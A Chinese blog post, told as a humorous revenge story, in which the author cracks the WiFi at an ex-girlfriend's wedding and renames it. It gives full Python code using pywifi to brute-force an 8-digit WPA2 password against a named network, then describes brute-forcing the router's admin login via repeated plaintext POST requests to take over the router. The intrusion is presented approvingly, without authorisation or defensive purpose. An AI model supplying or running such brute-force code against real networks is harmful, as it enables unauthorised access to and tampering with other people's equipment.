在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了


Posted in Python onMay 28, 2021

一、前言

事情是这样的

小编来到了婚礼现场

在一个背靠角落的桌子前坐下

耳朵里塞满了 幸福到听不清的嘈杂声

闪烁的灯光刺痛着 昨夜失眠到 有点发红的双眼

一股莫名的感觉直往上冲

默默,掏出了笔记本 python开发工具

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

现场的WiFi名称叫:"婚礼第一大厅"

二、python破解WiFi密码

1.安装pywifi和comtypes 两个模块

pip install pywifi

pip install comtypes

PS C:\Users\pacer> pip install pywifi
 
Collecting pywifi
  Downloading pywifi-1.1.12-py3-none-any.whl (15 kB)
Installing collected packages: pywifi
Successfully installed pywifi-1.1.12
 
PS C:\Users\pacer> pip install comtypes
 
Collecting comtypes
  Downloading comtypes-1.1.10.tar.gz (145 kB)
     |????????????????????????????????| 145 kB 12 kB/s
Using legacy 'setup.py install' for comtypes, since package 'wheel' is not installed.
Installing collected packages: comtypes
    Running setup.py install for comtypes ... done
Successfully installed comtypes-1.1.10
PS C:\Users\pacer>

2.生成8位密码

假设WiFi密码为8位纯数字

for i in range(100000000):
    #生成8位数密码
    pwd=str(i).zfill(8)
    print(pwd)

3.完整代码

使用pywifi模块,将wifi名称、密码配置进去,进行尝试。

import time
import pywifi
from pywifi import const
 
for i in range(100000000):
    #生成8位数密码
    pwd=str(i).zfill(8)
    print(pwd)
    profile = pywifi.Profile()
    profile.ssid ='婚礼第一大厅' #wifi名称 
    profile.auth = const.AUTH_ALG_OPEN #验证方式
    profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密方式
    profile.cipher = const.CIPHER_TYPE_CCMP    #加密类型
    profile.key=pwd
    wifi = pywifi.PyWiFi()
 
    iface = wifi.interfaces()[0]
    wedding = iface.add_network_profile(profile)
    #尝试连接
    iface.connect(wedding)
    time.sleep(3)
    if iface.status() == const.IFACE_CONNECTED:
        print('连接成功')
        break
    else:
        print('密码不对,连接失败,好气哦~~')

三、连接成功

一段时间后,连接成功。

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

拿到wifi密码之后

四、拿下路由器

1.路由器管理地址

路由器管理页面登录地址一般都是,192.168.0.1 或者 192.168.1.1访问路由器的链接地址。

http://192.168.0.1/

2.路由器登录提交分析

通过页面提交密码测试,发现密码是明文提交服务器验证的。

如下图

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

3.循环提交请求

通过循环提交路由器登录密码,通过工具post循环提交路由器的登录密码。

成功登录,拿下路由器

五、修改WIFI的名称

登录路由器界面,修改“婚礼第一大厅”WIFI名称

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

六、故事结尾

一切结束了,站起身,最后看了一眼

在交相辉映的灯光下

大大的合照上,手捧着鲜花 那张放肆笑着的脸

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

WiFi名改好了,告辞~

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

到此这篇关于在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了!的文章就介绍到这了,更多相关Python破解WiFi密码内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
gearman的安装启动及python API使用实例
Jul 08 Python
简单介绍Python中的JSON模块
Apr 08 Python
python自制包并用pip免提交到pypi仅安装到本机【推荐】
Jun 03 Python
linux下python中文乱码解决方案详解
Aug 28 Python
关于pymysql模块的使用以及代码详解
Sep 01 Python
Python中的wordcloud库安装问题及解决方法
May 27 Python
python3实现飞机大战
Nov 29 Python
Python爬虫教程之利用正则表达式匹配网页内容
Dec 08 Python
使用Python制作一个数据预处理小工具(多种操作一键完成)
Feb 07 Python
python实现发送邮件
Mar 02 Python
用Python爬取英雄联盟的皮肤详细示例
Dec 06 Python
进行数据处理的6个 Python 代码块分享
Apr 06 Python
pytorch DataLoader的num_workers参数与设置大小详解
May 28 #Python
Flask搭建一个API服务器的步骤
May 28 #Python
Python趣味挑战之给幼儿园弟弟生成1000道算术题
May 28 #Python
解决Python中的modf()函数取小数部分不准确问题
May 28 #Python
利用Python+OpenCV三步去除水印
python实现自定义日志的具体方法
May 28 #Python
python 爬取京东指定商品评论并进行情感分析
You might like
php explode函数实例代码
2012/02/27 PHP
浅析ThinkPHP中的pathinfo模式和URL重写
2014/01/06 PHP
ThinkPHP CURD方法之limit方法详解
2014/06/18 PHP
yii2.0之GridView自定义按钮和链接用法
2014/12/15 PHP
PHP使用Curl实现模拟登录及抓取数据功能示例
2018/04/27 PHP
使用时间戳解决ie缓存的问题
2014/08/20 Javascript
gridview生成时如何去掉style属性中的border-collapse
2014/09/30 Javascript
Js为表单动态添加节点内容的方法
2015/02/10 Javascript
Jquery全屏相册插件zoomvisualizer具有调节放大与缩小功能
2015/11/02 Javascript
Angular.js如何从PHP读取后台数据
2016/03/24 Javascript
使用jQuery制作基础的Web图片轮播效果
2016/04/22 Javascript
jQuery中常用动画效果函数(日常整理)
2016/09/17 Javascript
Bootstrap 3浏览器兼容性问题及解决方案
2017/04/11 Javascript
ES6中箭头函数的定义与调用方式详解
2017/06/02 Javascript
Angular.JS中指令ng-if的注意事项小结
2017/06/21 Javascript
强大的JavaScript响应式图表Chartist.js的使用
2017/09/13 Javascript
vue2 全局变量的设置方法
2018/03/09 Javascript
Vue 401配合Vuex防止多次弹框的案例
2020/11/11 Javascript
python使用wxpython开发简单记事本的方法
2015/05/20 Python
CentOS7安装Python3的教程详解
2019/04/10 Python
Python3 JSON编码解码方法详解
2019/09/06 Python
OpenCV+Python3.5 简易手势识别的实现
2020/12/21 Python
python 使用openpyxl读取excel数据
2021/02/18 Python
CSS3 简写animation
2012/05/10 HTML / CSS
CSS3的颜色渐变效果的示例代码
2017/09/29 HTML / CSS
英国领先的在线鱼贩:The Fish Society
2020/08/12 全球购物
this关键字的含义
2015/04/08 面试题
类和结构的区别
2012/08/15 面试题
社区党总支书记先进事迹材料
2014/01/24 职场文书
校园安全检查制度
2014/02/03 职场文书
《童趣》教学反思
2014/02/19 职场文书
优秀大专毕业生求职信
2014/08/04 职场文书
井冈山红色之旅心得体会
2014/10/07 职场文书
2014年关工委工作总结
2014/11/17 职场文书
公司文体活动总结
2015/05/07 职场文书
写自招自荐信的绝招!
2019/04/19 职场文书